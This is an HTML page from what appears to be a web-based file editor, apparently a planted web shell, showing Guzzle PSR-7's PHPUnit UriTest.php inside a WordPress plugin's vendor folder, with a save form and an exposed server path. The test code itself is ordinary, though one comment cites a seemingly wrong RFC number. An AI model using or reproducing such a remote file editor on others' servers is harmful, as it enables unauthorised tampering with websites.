<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: UriTest.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php

namespace GuzzleHttp\Tests\Psr7;

use GuzzleHttp\Psr7\Uri;

/**
 * @covers GuzzleHttp\Psr7\Uri
 */
class UriTest extends BaseTest
{
    public function testParsesProvidedUri()
    {
        $uri = new Uri('https://user:pass@example.com:8080/path/123?q=abc#test');

        self::assertSame('https', $uri-&gt;getScheme());
        self::assertSame('user:pass@example.com:8080', $uri-&gt;getAuthority());
        self::assertSame('user:pass', $uri-&gt;getUserInfo());
        self::assertSame('example.com', $uri-&gt;getHost());
        self::assertSame(8080, $uri-&gt;getPort());
        self::assertSame('/path/123', $uri-&gt;getPath());
        self::assertSame('q=abc', $uri-&gt;getQuery());
        self::assertSame('test', $uri-&gt;getFragment());
        self::assertSame('https://user:pass@example.com:8080/path/123?q=abc#test', (string) $uri);
    }

    public function testCanTransformAndRetrievePartsIndividually()
    {
        $uri = (new Uri())
            -&gt;withScheme('https')
            -&gt;withUserInfo('user', 'pass')
            -&gt;withHost('example.com')
            -&gt;withPort(8080)
            -&gt;withPath('/path/123')
            -&gt;withQuery('q=abc')
            -&gt;withFragment('test');

        self::assertSame('https', $uri-&gt;getScheme());
        self::assertSame('user:pass@example.com:8080', $uri-&gt;getAuthority());
        self::assertSame('user:pass', $uri-&gt;getUserInfo());
        self::assertSame('example.com', $uri-&gt;getHost());
        self::assertSame(8080, $uri-&gt;getPort());
        self::assertSame('/path/123', $uri-&gt;getPath());
        self::assertSame('q=abc', $uri-&gt;getQuery());
        self::assertSame('test', $uri-&gt;getFragment());
        self::assertSame('https://user:pass@example.com:8080/path/123?q=abc#test', (string) $uri);
    }

    /**
     * @dataProvider getValidUris
     */
    public function testValidUrisStayValid($input)
    {
        $uri = new Uri($input);

        self::assertSame($input, (string) $uri);
    }

    /**
     * @dataProvider getValidUris
     */
    public function testFromParts($input)
    {
        $uri = Uri::fromParts(parse_url($input));

        self::assertSame($input, (string) $uri);
    }

    public function getValidUris()
    {
        return [
            ['urn:path-rootless'],
            ['urn:path:with:colon'],
            ['urn:/path-absolute'],
            ['urn:/'],
            // only scheme with empty path
            ['urn:'],
            // only path
            ['/'],
            ['relative/'],
            ['0'],
            // same document reference
            [''],
            // network path without scheme
            ['//example.org'],
            ['//example.org/'],
            ['//example.org?q#h'],
            // only query
            ['?q'],
            ['?q=abc&amp;foo=bar'],
            // only fragment
            ['#fragment'],
            // dot segments are not removed automatically
            ['./foo/../bar'],
        ];
    }

    /**
     * @dataProvider getInvalidUris
     */
    public function testInvalidUrisThrowException($invalidUri)
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'Unable to parse URI');

        new Uri($invalidUri);
    }

    public function getInvalidUris()
    {
        return [
            // parse_url() requires the host component which makes sense for http(s)
            // but not when the scheme is not known or different. So '//' or '///' is
            // currently invalid as well but should not according to RFC 3986.
            ['http://'],
            ['urn://host:with:colon'], // host cannot contain &quot;:&quot;
        ];
    }

    public function testPortMustBeValid()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'Must be between 0 and 65535');

        (new Uri())-&gt;withPort(100000);
    }

    public function testWithPortCannotBeNegative()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'Invalid port: -1. Must be between 0 and 65535');

        (new Uri())-&gt;withPort(-1);
    }

    public function testParseUriPortCannotBeNegative()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'Unable to parse URI');

        new Uri('//example.com:-1');
    }

    public function testSchemeMustHaveCorrectType()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException');

        (new Uri())-&gt;withScheme([]);
    }

    public function testHostMustHaveCorrectType()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException');

        (new Uri())-&gt;withHost([]);
    }

    public function testPathMustHaveCorrectType()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException');

        (new Uri())-&gt;withPath([]);
    }

    public function testQueryMustHaveCorrectType()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException');

        (new Uri())-&gt;withQuery([]);
    }

    public function testFragmentMustHaveCorrectType()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException');

        (new Uri())-&gt;withFragment([]);
    }

    public function testCanParseFalseyUriParts()
    {
        $uri = new Uri('0://0:0@0/0?0#0');

        self::assertSame('0', $uri-&gt;getScheme());
        self::assertSame('0:0@0', $uri-&gt;getAuthority());
        self::assertSame('0:0', $uri-&gt;getUserInfo());
        self::assertSame('0', $uri-&gt;getHost());
        self::assertSame('/0', $uri-&gt;getPath());
        self::assertSame('0', $uri-&gt;getQuery());
        self::assertSame('0', $uri-&gt;getFragment());
        self::assertSame('0://0:0@0/0?0#0', (string) $uri);
    }

    public function testCanConstructFalseyUriParts()
    {
        $uri = (new Uri())
            -&gt;withScheme('0')
            -&gt;withUserInfo('0', '0')
            -&gt;withHost('0')
            -&gt;withPath('/0')
            -&gt;withQuery('0')
            -&gt;withFragment('0');

        self::assertSame('0', $uri-&gt;getScheme());
        self::assertSame('0:0@0', $uri-&gt;getAuthority());
        self::assertSame('0:0', $uri-&gt;getUserInfo());
        self::assertSame('0', $uri-&gt;getHost());
        self::assertSame('/0', $uri-&gt;getPath());
        self::assertSame('0', $uri-&gt;getQuery());
        self::assertSame('0', $uri-&gt;getFragment());
        self::assertSame('0://0:0@0/0?0#0', (string) $uri);
    }

    /**
     * @dataProvider getPortTestCases
     */
    public function testIsDefaultPort($scheme, $port, $isDefaultPort)
    {
        $uri = $this-&gt;getMockBuilder('Psr\Http\Message\UriInterface')-&gt;getMock();
        $uri-&gt;expects(self::any())-&gt;method('getScheme')-&gt;will(self::returnValue($scheme));
        $uri-&gt;expects(self::any())-&gt;method('getPort')-&gt;will(self::returnValue($port));

        self::assertSame($isDefaultPort, Uri::isDefaultPort($uri));
    }

    public function getPortTestCases()
    {
        return [
            ['http', null, true],
            ['http', 80, true],
            ['http', 8080, false],
            ['https', null, true],
            ['https', 443, true],
            ['https', 444, false],
            ['ftp', 21, true],
            ['gopher', 70, true],
            ['nntp', 119, true],
            ['news', 119, true],
            ['telnet', 23, true],
            ['tn3270', 23, true],
            ['imap', 143, true],
            ['pop', 110, true],
            ['ldap', 389, true],
        ];
    }

    public function testIsAbsolute()
    {
        self::assertTrue(Uri::isAbsolute(new Uri('http://example.org')));
        self::assertFalse(Uri::isAbsolute(new Uri('//example.org')));
        self::assertFalse(Uri::isAbsolute(new Uri('/abs-path')));
        self::assertFalse(Uri::isAbsolute(new Uri('rel-path')));
    }

    public function testIsNetworkPathReference()
    {
        self::assertFalse(Uri::isNetworkPathReference(new Uri('http://example.org')));
        self::assertTrue(Uri::isNetworkPathReference(new Uri('//example.org')));
        self::assertFalse(Uri::isNetworkPathReference(new Uri('/abs-path')));
        self::assertFalse(Uri::isNetworkPathReference(new Uri('rel-path')));
    }

    public function testIsAbsolutePathReference()
    {
        self::assertFalse(Uri::isAbsolutePathReference(new Uri('http://example.org')));
        self::assertFalse(Uri::isAbsolutePathReference(new Uri('//example.org')));
        self::assertTrue(Uri::isAbsolutePathReference(new Uri('/abs-path')));
        self::assertTrue(Uri::isAbsolutePathReference(new Uri('/')));
        self::assertFalse(Uri::isAbsolutePathReference(new Uri('rel-path')));
    }

    public function testIsRelativePathReference()
    {
        self::assertFalse(Uri::isRelativePathReference(new Uri('http://example.org')));
        self::assertFalse(Uri::isRelativePathReference(new Uri('//example.org')));
        self::assertFalse(Uri::isRelativePathReference(new Uri('/abs-path')));
        self::assertTrue(Uri::isRelativePathReference(new Uri('rel-path')));
        self::assertTrue(Uri::isRelativePathReference(new Uri('')));
    }

    public function testIsSameDocumentReference()
    {
        self::assertFalse(Uri::isSameDocumentReference(new Uri('http://example.org')));
        self::assertFalse(Uri::isSameDocumentReference(new Uri('//example.org')));
        self::assertFalse(Uri::isSameDocumentReference(new Uri('/abs-path')));
        self::assertFalse(Uri::isSameDocumentReference(new Uri('rel-path')));
        self::assertFalse(Uri::isSameDocumentReference(new Uri('?query')));
        self::assertTrue(Uri::isSameDocumentReference(new Uri('')));
        self::assertTrue(Uri::isSameDocumentReference(new Uri('#fragment')));

        $baseUri = new Uri('http://example.org/path?foo=bar');

        self::assertTrue(Uri::isSameDocumentReference(new Uri('#fragment'), $baseUri));
        self::assertTrue(Uri::isSameDocumentReference(new Uri('?foo=bar#fragment'), $baseUri));
        self::assertTrue(Uri::isSameDocumentReference(new Uri('/path?foo=bar#fragment'), $baseUri));
        self::assertTrue(Uri::isSameDocumentReference(new Uri('path?foo=bar#fragment'), $baseUri));
        self::assertTrue(Uri::isSameDocumentReference(new Uri('//example.org/path?foo=bar#fragment'), $baseUri));
        self::assertTrue(Uri::isSameDocumentReference(new Uri('http://example.org/path?foo=bar#fragment'), $baseUri));

        self::assertFalse(Uri::isSameDocumentReference(new Uri('https://example.org/path?foo=bar'), $baseUri));
        self::assertFalse(Uri::isSameDocumentReference(new Uri('http://example.com/path?foo=bar'), $baseUri));
        self::assertFalse(Uri::isSameDocumentReference(new Uri('http://example.org/'), $baseUri));
        self::assertFalse(Uri::isSameDocumentReference(new Uri('http://example.org'), $baseUri));

        self::assertFalse(Uri::isSameDocumentReference(new Uri('urn:/path'), new Uri('urn://example.com/path')));
    }

    public function testAddAndRemoveQueryValues()
    {
        $uri = new Uri();
        $uri = Uri::withQueryValue($uri, 'a', 'b');
        $uri = Uri::withQueryValue($uri, 'c', 'd');
        $uri = Uri::withQueryValue($uri, 'e', null);
        self::assertSame('a=b&amp;c=d&amp;e', $uri-&gt;getQuery());

        $uri = Uri::withoutQueryValue($uri, 'c');
        self::assertSame('a=b&amp;e', $uri-&gt;getQuery());
        $uri = Uri::withoutQueryValue($uri, 'e');
        self::assertSame('a=b', $uri-&gt;getQuery());
        $uri = Uri::withoutQueryValue($uri, 'a');
        self::assertSame('', $uri-&gt;getQuery());
    }

    public function testNumericQueryValue()
    {
        $uri = Uri::withQueryValue(new Uri(), 'version', 1);
        self::assertSame('version=1', $uri-&gt;getQuery());
    }

    public function testWithQueryValues()
    {
        $uri = new Uri();
        $uri = Uri::withQueryValues($uri, [
            'key1' =&gt; 'value1',
            'key2' =&gt; 'value2'
        ]);

        self::assertSame('key1=value1&amp;key2=value2', $uri-&gt;getQuery());
    }

    public function testWithQueryValuesReplacesSameKeys()
    {
        $uri = new Uri();

        $uri = Uri::withQueryValues($uri, [
            'key1' =&gt; 'value1',
            'key2' =&gt; 'value2'
        ]);

        $uri = Uri::withQueryValues($uri, [
            'key2' =&gt; 'newvalue'
        ]);

        self::assertSame('key1=value1&amp;key2=newvalue', $uri-&gt;getQuery());
    }

    public function testWithQueryValueReplacesSameKeys()
    {
        $uri = new Uri();
        $uri = Uri::withQueryValue($uri, 'a', 'b');
        $uri = Uri::withQueryValue($uri, 'c', 'd');
        $uri = Uri::withQueryValue($uri, 'a', 'e');
        self::assertSame('c=d&amp;a=e', $uri-&gt;getQuery());
    }

    public function testWithoutQueryValueRemovesAllSameKeys()
    {
        $uri = (new Uri())-&gt;withQuery('a=b&amp;c=d&amp;a=e');
        $uri = Uri::withoutQueryValue($uri, 'a');
        self::assertSame('c=d', $uri-&gt;getQuery());
    }

    public function testRemoveNonExistingQueryValue()
    {
        $uri = new Uri();
        $uri = Uri::withQueryValue($uri, 'a', 'b');
        $uri = Uri::withoutQueryValue($uri, 'c');
        self::assertSame('a=b', $uri-&gt;getQuery());
    }

    public function testWithQueryValueHandlesEncoding()
    {
        $uri = new Uri();
        $uri = Uri::withQueryValue($uri, 'E=mc^2', 'ein&amp;stein');
        self::assertSame('E%3Dmc%5E2=ein%26stein', $uri-&gt;getQuery(), 'Decoded key/value get encoded');

        $uri = new Uri();
        $uri = Uri::withQueryValue($uri, 'E%3Dmc%5e2', 'ein%26stein');
        self::assertSame('E%3Dmc%5e2=ein%26stein', $uri-&gt;getQuery(), 'Encoded key/value do not get double-encoded');
    }

    public function testWithoutQueryValueHandlesEncoding()
    {
        // It also tests that the case of the percent-encoding does not matter,
        // i.e. both lowercase &quot;%3d&quot; and uppercase &quot;%5E&quot; can be removed.
        $uri = (new Uri())-&gt;withQuery('E%3dmc%5E2=einstein&amp;foo=bar');
        $uri = Uri::withoutQueryValue($uri, 'E=mc^2');
        self::assertSame('foo=bar', $uri-&gt;getQuery(), 'Handles key in decoded form');

        $uri = (new Uri())-&gt;withQuery('E%3dmc%5E2=einstein&amp;foo=bar');
        $uri = Uri::withoutQueryValue($uri, 'E%3Dmc%5e2');
        self::assertSame('foo=bar', $uri-&gt;getQuery(), 'Handles key in encoded form');
    }

    public function testSchemeIsNormalizedToLowercase()
    {
        $uri = new Uri('HTTP://example.com');

        self::assertSame('http', $uri-&gt;getScheme());
        self::assertSame('http://example.com', (string) $uri);

        $uri = (new Uri('//example.com'))-&gt;withScheme('HTTP');

        self::assertSame('http', $uri-&gt;getScheme());
        self::assertSame('http://example.com', (string) $uri);
    }

    public function testHostIsNormalizedToLowercase()
    {
        $uri = new Uri('//eXaMpLe.CoM');

        self::assertSame('example.com', $uri-&gt;getHost());
        self::assertSame('//example.com', (string) $uri);

        $uri = (new Uri())-&gt;withHost('eXaMpLe.CoM');

        self::assertSame('example.com', $uri-&gt;getHost());
        self::assertSame('//example.com', (string) $uri);
    }

    public function testPortIsNullIfStandardPortForScheme()
    {
        // HTTPS standard port
        $uri = new Uri('https://example.com:443');
        self::assertNull($uri-&gt;getPort());
        self::assertSame('example.com', $uri-&gt;getAuthority());

        $uri = (new Uri('https://example.com'))-&gt;withPort(443);
        self::assertNull($uri-&gt;getPort());
        self::assertSame('example.com', $uri-&gt;getAuthority());

        // HTTP standard port
        $uri = new Uri('http://example.com:80');
        self::assertNull($uri-&gt;getPort());
        self::assertSame('example.com', $uri-&gt;getAuthority());

        $uri = (new Uri('http://example.com'))-&gt;withPort(80);
        self::assertNull($uri-&gt;getPort());
        self::assertSame('example.com', $uri-&gt;getAuthority());
    }

    public function testPortIsReturnedIfSchemeUnknown()
    {
        $uri = (new Uri('//example.com'))-&gt;withPort(80);

        self::assertSame(80, $uri-&gt;getPort());
        self::assertSame('example.com:80', $uri-&gt;getAuthority());
    }

    public function testStandardPortIsNullIfSchemeChanges()
    {
        $uri = new Uri('http://example.com:443');
        self::assertSame('http', $uri-&gt;getScheme());
        self::assertSame(443, $uri-&gt;getPort());

        $uri = $uri-&gt;withScheme('https');
        self::assertNull($uri-&gt;getPort());
    }

    public function testPortPassedAsStringIsCastedToInt()
    {
        $uri = (new Uri('//example.com'))-&gt;withPort('8080');

        self::assertSame(8080, $uri-&gt;getPort(), 'Port is returned as integer');
        self::assertSame('example.com:8080', $uri-&gt;getAuthority());
    }

    public function testPortCanBeRemoved()
    {
        $uri = (new Uri('http://example.com:8080'))-&gt;withPort(null);

        self::assertNull($uri-&gt;getPort());
        self::assertSame('http://example.com', (string) $uri);
    }

    /**
     * In RFC 8986 the host is optional and the authority can only
     * consist of the user info and port.
     */
    public function testAuthorityWithUserInfoOrPortButWithoutHost()
    {
        $uri = (new Uri())-&gt;withUserInfo('user', 'pass');

        self::assertSame('user:pass', $uri-&gt;getUserInfo());
        self::assertSame('user:pass@', $uri-&gt;getAuthority());

        $uri = $uri-&gt;withPort(8080);
        self::assertSame(8080, $uri-&gt;getPort());
        self::assertSame('user:pass@:8080', $uri-&gt;getAuthority());
        self::assertSame('//user:pass@:8080', (string) $uri);

        $uri = $uri-&gt;withUserInfo('');
        self::assertSame(':8080', $uri-&gt;getAuthority());
    }

    public function testHostInHttpUriDefaultsToLocalhost()
    {
        $uri = (new Uri())-&gt;withScheme('http');

        self::assertSame('localhost', $uri-&gt;getHost());
        self::assertSame('localhost', $uri-&gt;getAuthority());
        self::assertSame('http://localhost', (string) $uri);
    }

    public function testHostInHttpsUriDefaultsToLocalhost()
    {
        $uri = (new Uri())-&gt;withScheme('https');

        self::assertSame('localhost', $uri-&gt;getHost());
        self::assertSame('localhost', $uri-&gt;getAuthority());
        self::assertSame('https://localhost', (string) $uri);
    }

    public function testFileSchemeWithEmptyHostReconstruction()
    {
        $uri = new Uri('file:///tmp/filename.ext');

        self::assertSame('', $uri-&gt;getHost());
        self::assertSame('', $uri-&gt;getAuthority());
        self::assertSame('file:///tmp/filename.ext', (string) $uri);
    }

    public function uriComponentsEncodingProvider()
    {
        $unreserved = 'a-zA-Z0-9.-_~!$&amp;\'()*+,;=:@';

        return [
            // Percent encode spaces
            ['/pa th?q=va lue#frag ment', '/pa%20th', 'q=va%20lue', 'frag%20ment', '/pa%20th?q=va%20lue#frag%20ment'],
            // Percent encode multibyte
            ['/€?€#€', '/%E2%82%AC', '%E2%82%AC', '%E2%82%AC', '/%E2%82%AC?%E2%82%AC#%E2%82%AC'],
            // Don't encode something that's already encoded
            ['/pa%20th?q=va%20lue#frag%20ment', '/pa%20th', 'q=va%20lue', 'frag%20ment', '/pa%20th?q=va%20lue#frag%20ment'],
            // Percent encode invalid percent encodings
            ['/pa%2-th?q=va%2-lue#frag%2-ment', '/pa%252-th', 'q=va%252-lue', 'frag%252-ment', '/pa%252-th?q=va%252-lue#frag%252-ment'],
            // Don't encode path segments
            ['/pa/th//two?q=va/lue#frag/ment', '/pa/th//two', 'q=va/lue', 'frag/ment', '/pa/th//two?q=va/lue#frag/ment'],
            // Don't encode unreserved chars or sub-delimiters
            [&quot;/$unreserved?$unreserved#$unreserved&quot;, &quot;/$unreserved&quot;, $unreserved, $unreserved, &quot;/$unreserved?$unreserved#$unreserved&quot;],
            // Encoded unreserved chars are not decoded
            ['/p%61th?q=v%61lue#fr%61gment', '/p%61th', 'q=v%61lue', 'fr%61gment', '/p%61th?q=v%61lue#fr%61gment'],
        ];
    }

    /**
     * @dataProvider uriComponentsEncodingProvider
     */
    public function testUriComponentsGetEncodedProperly($input, $path, $query, $fragment, $output)
    {
        $uri = new Uri($input);
        self::assertSame($path, $uri-&gt;getPath());
        self::assertSame($query, $uri-&gt;getQuery());
        self::assertSame($fragment, $uri-&gt;getFragment());
        self::assertSame($output, (string) $uri);
    }

    public function testWithPathEncodesProperly()
    {
        $uri = (new Uri())-&gt;withPath('/baz?#€/b%61r');
        // Query and fragment delimiters and multibyte chars are encoded.
        self::assertSame('/baz%3F%23%E2%82%AC/b%61r', $uri-&gt;getPath());
        self::assertSame('/baz%3F%23%E2%82%AC/b%61r', (string) $uri);
    }

    public function testWithQueryEncodesProperly()
    {
        $uri = (new Uri())-&gt;withQuery('?=#&amp;€=/&amp;b%61r');
        // A query starting with a &quot;?&quot; is valid and must not be magically removed. Otherwise it would be impossible to
        // construct such an URI. Also the &quot;?&quot; and &quot;/&quot; does not need to be encoded in the query.
        self::assertSame('?=%23&amp;%E2%82%AC=/&amp;b%61r', $uri-&gt;getQuery());
        self::assertSame('??=%23&amp;%E2%82%AC=/&amp;b%61r', (string) $uri);
    }

    public function testWithFragmentEncodesProperly()
    {
        $uri = (new Uri())-&gt;withFragment('#€?/b%61r');
        // A fragment starting with a &quot;#&quot; is valid and must not be magically removed. Otherwise it would be impossible to
        // construct such an URI. Also the &quot;?&quot; and &quot;/&quot; does not need to be encoded in the fragment.
        self::assertSame('%23%E2%82%AC?/b%61r', $uri-&gt;getFragment());
        self::assertSame('#%23%E2%82%AC?/b%61r', (string) $uri);
    }

    public function testAllowsForRelativeUri()
    {
        $uri = (new Uri)-&gt;withPath('foo');
        self::assertSame('foo', $uri-&gt;getPath());
        self::assertSame('foo', (string) $uri);
    }

    public function testRelativePathAndAuhorityIsAutomagicallyFixed()
    {
        // concatenating a relative path with a host doesn't work: &quot;//example.comfoo&quot; would be wrong
        $uri = (new Uri)-&gt;withPath('foo')-&gt;withHost('example.com');
        self::assertSame('/foo', $uri-&gt;getPath());
        self::assertSame('//example.com/foo', (string) $uri);
    }

    public function testPathStartingWithTwoSlashesAndNoAuthorityIsInvalid()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'The path of a URI without an authority must not start with two slashes &quot;//&quot;');

        // URI &quot;//foo&quot; would be interpreted as network reference and thus change the original path to the host
        (new Uri)-&gt;withPath('//foo');
    }

    public function testPathStartingWithTwoSlashes()
    {
        $uri = new Uri('http://example.org//path-not-host.com');
        self::assertSame('//path-not-host.com', $uri-&gt;getPath());

        $uri = $uri-&gt;withScheme('');
        self::assertSame('//example.org//path-not-host.com', (string) $uri); // This is still valid
        $this-&gt;expectExceptionGuzzle('\InvalidArgumentException');
        $uri-&gt;withHost(''); // Now it becomes invalid
    }

    public function testRelativeUriWithPathBeginngWithColonSegmentIsInvalid()
    {
        $this-&gt;expectExceptionGuzzle('InvalidArgumentException', 'A relative URI must not have a path beginning with a segment containing a colon');

        (new Uri)-&gt;withPath('mailto:foo');
    }

    public function testRelativeUriWithPathHavingColonSegment()
    {
        $uri = (new Uri('urn:/mailto:foo'))-&gt;withScheme('');
        self::assertSame('/mailto:foo', $uri-&gt;getPath());

        $this-&gt;expectExceptionGuzzle('\InvalidArgumentException');
        (new Uri('urn:mailto:foo'))-&gt;withScheme('');
    }

    public function testDefaultReturnValuesOfGetters()
    {
        $uri = new Uri();

        self::assertSame('', $uri-&gt;getScheme());
        self::assertSame('', $uri-&gt;getAuthority());
        self::assertSame('', $uri-&gt;getUserInfo());
        self::assertSame('', $uri-&gt;getHost());
        self::assertNull($uri-&gt;getPort());
        self::assertSame('', $uri-&gt;getPath());
        self::assertSame('', $uri-&gt;getQuery());
        self::assertSame('', $uri-&gt;getFragment());
    }

    public function testImmutability()
    {
        $uri = new Uri();

        self::assertNotSame($uri, $uri-&gt;withScheme('https'));
        self::assertNotSame($uri, $uri-&gt;withUserInfo('user', 'pass'));
        self::assertNotSame($uri, $uri-&gt;withHost('example.com'));
        self::assertNotSame($uri, $uri-&gt;withPort(8080));
        self::assertNotSame($uri, $uri-&gt;withPath('/path/123'));
        self::assertNotSame($uri, $uri-&gt;withQuery('q=abc'));
        self::assertNotSame($uri, $uri-&gt;withFragment('test'));
    }

    public function testExtendingClassesInstantiates()
    {
        // The non-standard port triggers a cascade of private methods which
        // should not use late static binding to access private static members.
        // If they do, this will fatal.
        self::assertInstanceOf(
            'GuzzleHttp\Tests\Psr7\ExtendedUriTest',
            new ExtendedUriTest('http://h:9/')
        );
    }

    public function testSpecialCharsOfUserInfo()
    {
        // The `userInfo` must always be URL-encoded.
        $uri = (new Uri)-&gt;withUserInfo('foo@bar.com', 'pass#word');
        self::assertSame('foo%40bar.com:pass%23word', $uri-&gt;getUserInfo());

        // The `userInfo` can already be URL-encoded: it should not be encoded twice.
        $uri = (new Uri)-&gt;withUserInfo('foo%40bar.com', 'pass%23word');
        self::assertSame('foo%40bar.com:pass%23word', $uri-&gt;getUserInfo());
    }

    public function testInternationalizedDomainName()
    {
        $uri = new Uri('https://яндекс.рф');
        self::assertSame('яндекс.рф', $uri-&gt;getHost());

        $uri = new Uri('https://яндекAс.рф');
        self::assertSame('яндекaс.рф', $uri-&gt;getHost());
    }

    public function testIPv6Host()
    {
        $uri = new Uri('https://[2a00:f48:1008::212:183:10]');
        self::assertSame('[2a00:f48:1008::212:183:10]', $uri-&gt;getHost());

        $uri = new Uri('http://[2a00:f48:1008::212:183:10]:56?foo=bar');
        self::assertSame('[2a00:f48:1008::212:183:10]', $uri-&gt;getHost());
        self::assertSame(56, $uri-&gt;getPort());
        self::assertSame('foo=bar', $uri-&gt;getQuery());
    }
}

class ExtendedUriTest extends Uri
{
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250804013034%2Fplugins%2Fw3-total-cache%2Fvendor%2Fguzzlehttp%2Fpsr7%2Ftests'>🔙 Back</a>